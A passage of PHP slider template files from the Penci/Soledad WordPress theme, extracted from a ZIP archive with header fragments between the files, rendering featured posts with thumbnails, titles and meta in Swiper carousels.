                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\EHy2  2  7  inc/js_composer/shortcodes/featured_slider/style-21.phpnu [        <?php
/**
 * Template part for Slider Style 21
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 4 || $i % 5 == 0 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 4 || $i % 5 == 0 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 4 || $i % 5 == 0 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\[    7  inc/js_composer/shortcodes/featured_slider/style-42.phpnu [        <?php
/**
 * Template part for Slider Style 42
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider42-wrapper">
    <div class="penci-slider42-thumb-wrapper">
        <div class="penci-slider42-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-desktop="4" data-tablet="3" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false" data-e="false" data-auto="false">
            <div class="penci-slider42-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider42-t-item">

                       
                        <div class="pcslider-42-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider42-main-wrapper">
        <div class="penci-slider42-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider42-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\P:  :  7  inc/js_composer/shortcodes/featured_slider/style-13.phpnu [        <?php
/**
 * Template part for Slider Style 13
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\TSW  W  7  inc/js_composer/shortcodes/featured_slider/style-35.phpnu [        <?php
/**
 * Template part for Slider Style 35
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_mobile_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_mobile_size : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content-right">
                <div class="feat-text-right">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $cspost_enable || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide ): ?>
                        <div class="featured-content-excerpt">
							<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                <div class="feat-meta">
									<?php if ( $show_meta_author ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $meta_date_hide ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! $hide_meta_comment ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
	                                <?php echo penci_show_custom_meta_fields( [
		                                'validator' => $cspost_enable,
		                                'keys'      => $cspost_cpost_meta,
		                                'acf'       => $cspost_cpost_acf_meta,
		                                'label' 	=> $cspost_cpost_meta_label,
		                                'divider' 	=> $cspost_cpost_meta_divider,
	                                ] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
							<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
								<?php 
								if( get_theme_mod( 'penci_excerptcharac' ) ){
									the_excerpt();
								} else {
									$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
									penci_the_excerpt( $excerpt_length );
								}
								?>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\䡭    7  inc/js_composer/shortcodes/featured_slider/style-17.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$image_size_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( $i % 5 == 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $image_size_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\M(    7  inc/js_composer/shortcodes/featured_slider/style-26.phpnu [        <?php
/**
 * Template part for Slider Style 26
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
